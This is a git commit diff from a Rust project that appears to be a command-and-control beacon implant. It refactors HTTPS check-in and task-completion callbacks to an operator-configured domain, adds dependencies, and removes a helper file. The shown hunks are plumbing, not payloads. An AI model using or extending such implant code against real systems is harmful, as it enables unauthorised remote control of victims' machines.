feat: added download and upload commands

redid actions to better support different clients
This commit is contained in:
Andrew Rioux
2025-03-03 20:03:04 -05:00
parent e0bd5c3b06
commit 7f9ea12b6a
21 changed files with 401 additions and 88 deletions

View File

@@ -33,6 +33,8 @@ pcap-sys = { path = "../pcap-sys" }
sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
packets = { path = "../packets" }
chrono = "0.4.39"
tokio-util = { version = "0.7.13", features = ["io"] }
futures-core = "0.3.31"
[features]
openssl = ["dep:rustls-openssl"]

View File

@@ -7,12 +7,11 @@ use hyper::{body::Incoming, Method, Request};
use rand::Rng;
use sparse_actions::payload_types::Parameters;
use sparse_actions::{actions::Action, adapter, error::BeaconError, messages};
use sparse_actions::{actions::{Action, CallbackBody}, adapter, error::BeaconError, messages};
mod callback;
mod socket;
mod tcp;
mod params;
pub fn install_rustls() {
#[cfg(feature = "openssl")]
@@ -23,22 +22,29 @@ pub fn install_rustls() {
}
async fn make_request_inner<A, Req>(
client: &callback::SClient<A, Full<bytes::Bytes>>,
client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
uri: hyper::Uri,
req_body: Req
) -> Result<Response<Incoming>, BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static
Req: serde::Serialize + Clone + Send + Sync + 'static,
{
let mut body_buf = Vec::new();
req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?;
let body: CallbackBody<A> = Box::new(
Full::<bytes::Bytes>::from(body_buf)
.map_err(|_| sparse_actions::error::BeaconError::GenericHyper(
"infallible case encountered".to_string()
))
);
let req = Request::builder()
.method(Method::POST)
.uri(uri)
.header("content-type", "application/msgpack")
.body(Full::<bytes::Bytes>::from(body_buf))?;
.body(body)?;
let resp = client.request(req).await?;
@@ -58,7 +64,7 @@ where
}
pub async fn make_bodiless_request<A, Req>(
client: &callback::SClient<A, Full<bytes::Bytes>>,
client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
uri: hyper::Uri,
req_body: Req
) -> Result<(), BeaconError<A::Error>>
@@ -72,7 +78,7 @@ where
}
pub async fn make_request<A, Req, Resp>(
client: &callback::SClient<A, Full<bytes::Bytes>>,
client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
uri: hyper::Uri,
req_body: Req
) -> Result<Resp, BeaconError<A::Error>>
@@ -104,7 +110,7 @@ where
let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request(
&client,
format!("https://{}/checkin", params::domain_name::<A>(&params)?).parse()?,
format!("https://{}/checkin", params.domain_name::<A>()?).parse()?,
messages::RegisterBeacon {
beacon_id: beacon_id.clone(),
template_id: params.template_id,
@@ -142,7 +148,7 @@ where
&client,
format!(
"https://{}/finish/{}/{}",
params::domain_name::<A>(&params)?,
params.domain_name::<A>()?,
beacon_id,
cmd_id
).parse()?,

View File

@@ -1,9 +0,0 @@
use sparse_actions::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError<T::Error>>
where
T: BeaconAdapter,
{
std::str::from_utf8(&params.domain_name[..params.domain_name_length as usize])
.map_err(Into::into)
}